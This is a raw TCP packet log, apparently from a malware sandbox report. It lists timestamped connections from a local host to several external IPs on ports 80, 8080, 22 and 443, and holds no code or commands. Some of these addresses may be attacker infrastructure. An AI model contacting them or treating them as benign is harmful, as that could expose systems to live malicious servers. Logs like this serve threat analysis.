Feb 10, 2024 16:17:09.756449938 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756449938 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756479025 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756495953 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756504059 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756526947 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756541014 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756551027 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756573915 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756589890 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756597996 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756622076 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756637096 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756644964 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756669998 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756685972 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756695032 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756719112 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756735086 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756742954 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756764889 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756782055 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756788015 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756812096 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756833076 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756835938 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756861925 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756880045 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756886005 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756911993 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756931067 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756933928 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756957054 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.756975889 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.756979942 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757004023 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757019997 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757028103 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757050991 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757067919 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757075071 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757097960 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757117033 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757121086 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757143974 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757159948 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757174969 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757188082 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757211924 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757213116 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757236958 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757261038 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757270098 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757286072 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757302999 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757309914 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757334948 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757350922 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757356882 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757379055 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757396936 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757402897 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757422924 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757446051 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757488012 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757512093 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757531881 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757538080 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757563114 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757581949 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757585049 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757611036 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757625103 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757635117 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757659912 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757679939 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757683039 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757707119 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757730007 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757734060 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757757902 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757775068 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757781982 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757807970 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757823944 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.757829905 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757853985 CET	80	49729	82.147.85.194	192.168.2.4
Feb 10, 2024 16:17:09.757878065 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:09.811032057 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:10.511420012 CET	49729	80	192.168.2.4	82.147.85.194
Feb 10, 2024 16:17:17.530775070 CET	49737	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:17.643243074 CET	80	49737	208.95.112.1	192.168.2.4
Feb 10, 2024 16:17:17.643338919 CET	49737	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:17.644812107 CET	49737	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:17.759489059 CET	80	49737	208.95.112.1	192.168.2.4
Feb 10, 2024 16:17:17.811027050 CET	49737	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:18.230317116 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:18.445640087 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:18.445828915 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:18.446048021 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:18.534595966 CET	49739	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:18.650083065 CET	80	49739	208.95.112.1	192.168.2.4
Feb 10, 2024 16:17:18.650326014 CET	49739	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:18.650660992 CET	49739	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:18.661389112 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:18.661967039 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:18.662472010 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:18.682216883 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:18.827989101 CET	80	49739	208.95.112.1	192.168.2.4
Feb 10, 2024 16:17:18.873574972 CET	49739	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:18.877712011 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:18.877770901 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:18.877856970 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:18.878010035 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:18.889868975 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:18.890094995 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:18.897110939 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:18.919461966 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:18.919538021 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.093199015 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093239069 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093260050 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.093283892 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093306065 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.093328953 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093344927 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.093358994 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.093374014 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093385935 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.093409061 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093426943 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.093445063 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093458891 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.093482971 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093491077 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.093513012 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093532085 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093555927 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093589067 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.093632936 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.093677998 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.093743086 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.097688913 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.098705053 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:19.104666948 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.104749918 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.134751081 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.134855032 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.154872894 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:19.175440073 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.175513983 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.197005987 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.306102991 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.306175947 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:19.308706999 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.308805943 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.308844090 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.308866024 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.308892965 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.308932066 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.308955908 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309082985 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309103966 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309150934 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309182882 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309205055 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309231043 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309254885 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309343100 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309390068 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309413910 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309458017 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309465885 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309489012 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309509039 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309525013 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309545040 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309561014 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309591055 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309631109 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309649944 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309663057 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309679031 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309717894 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309732914 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309741974 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309752941 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309767008 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309813976 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309834003 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309854984 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309874058 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.309899092 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309920073 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309936047 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.309969902 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.310024977 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.350013971 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.350053072 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.350075006 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.350095034 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.390662909 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.390711069 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.412199974 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.412400961 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.412488937 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.468159914 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:19.516968012 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.517008066 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.517055035 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.517244101 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:19.523828030 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.523878098 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.523921967 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.523966074 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524072886 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524116993 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524162054 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524204016 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524235964 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524260044 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524305105 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524419069 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524466038 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524586916 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524674892 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524755955 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524801970 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524904013 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524950981 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.524992943 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525051117 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525096893 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525145054 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525190115 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525233030 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525278091 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525324106 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525368929 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525412083 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525454998 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525500059 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525542974 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525584936 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525626898 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525672913 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525718927 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525764942 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.525814056 CET	8080	49738	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.531280041 CET	49737	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:19.541733027 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:19.576766968 CET	49738	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.627262115 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.627897024 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.628362894 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.643778086 CET	80	49737	208.95.112.1	192.168.2.4
Feb 10, 2024 16:17:19.643842936 CET	49737	80	192.168.2.4	208.95.112.1
Feb 10, 2024 16:17:19.651181936 CET	49743	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:19.651241064 CET	443	49743	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:19.651319027 CET	49743	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:19.660928011 CET	49743	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:19.660964012 CET	443	49743	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:19.675952911 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.676095009 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:19.681122065 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:19.791336060 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.791517973 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:19.843832970 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.843871117 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.843893051 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.843914986 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:19.844069958 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:19.881942034 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.883831978 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:19.886260986 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.886493921 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.936163902 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:19.998719931 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.998800993 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:19.999063015 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:20.059273958 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.059345007 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.059391975 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.059437990 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.059484005 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.059529066 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.059564114 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.059571981 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.059616089 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.059741974 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.085036993 CET	443	49743	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:20.085105896 CET	49743	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:20.089147091 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.089283943 CET	49742	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:20.089510918 CET	49743	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:20.089530945 CET	443	49743	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:20.089770079 CET	443	49743	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:20.103542089 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.103727102 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.139115095 CET	49743	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:20.182172060 CET	49743	443	192.168.2.4	149.154.167.220
Feb 10, 2024 16:17:20.207144022 CET	22	49740	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.207628012 CET	49740	22	192.168.2.4	138.68.79.95
Feb 10, 2024 16:17:20.229904890 CET	443	49743	149.154.167.220	192.168.2.4
Feb 10, 2024 16:17:20.274797916 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.274871111 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.274916887 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.274965048 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275013924 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275032997 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.275058985 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275182962 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.275481939 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275561094 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275612116 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275655985 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275722027 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.275727034 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275773048 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275818110 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275846004 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.275863886 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275887012 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.275907993 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275918007 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.275954962 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.275974035 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.276000977 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.276005030 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.276045084 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.276088953 CET	8080	49741	185.119.118.59	192.168.2.4
Feb 10, 2024 16:17:20.276099920 CET	49741	8080	192.168.2.4	185.119.118.59
Feb 10, 2024 16:17:20.299137115 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.299218893 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.299271107 CET	22	49742	138.68.79.95	192.168.2.4
Feb 10, 2024 16:17:20.299348116 CET	49742	22	192.168.2.4	138.68.79.95
